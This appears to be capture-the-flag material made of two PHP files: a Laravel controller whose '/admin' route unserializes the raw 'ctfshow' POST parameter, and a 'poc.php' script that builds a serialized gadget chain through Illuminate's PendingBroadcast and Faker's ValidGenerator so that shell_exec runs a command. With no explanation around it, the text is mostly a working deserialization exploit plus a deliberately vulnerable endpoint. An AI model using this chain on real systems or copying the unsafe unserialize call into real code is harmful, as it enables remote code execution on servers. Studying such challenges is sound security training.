// AdminController.php
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Routing\Controller;

class AdminController extends Controller{

    public function getPostIndex(Request $request){
        if ($request->isMethod('GET')){
            echo "<input type=\"hidden\" name=\"_token\" value=\"" . csrf_token() . "\">";
            return 'post ctfshow to unserialize';
        }
        if ($request->isMethod('POST')){
            echo "enter";
            $data = $request->input('ctfshow');
            $res = unserialize($data);
        }
    }
}

Route::match(['GET', 'POST'], '/admin', 'AdminController@getPostIndex');

// poc.php
<?php
namespace Faker;

class DefaultGenerator{
    protected $default;
    function __construct(){
        $this->default = 'calc';
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct(){
        $this->generator = new DefaultGenerator();
        $this->validator = 'shell_exec';
        $this->maxRetries = 1;
    }
}
namespace Illuminate\Broadcasting;
use Faker\ValidGenerator;
class PendingBroadcast{
    protected $events;
    protected $event;

    function __construct(){
        $this->events = new ValidGenerator();
        $this->event = 'good!';
    }
}

echo urlencode(serialize(new PendingBroadcast()));
?>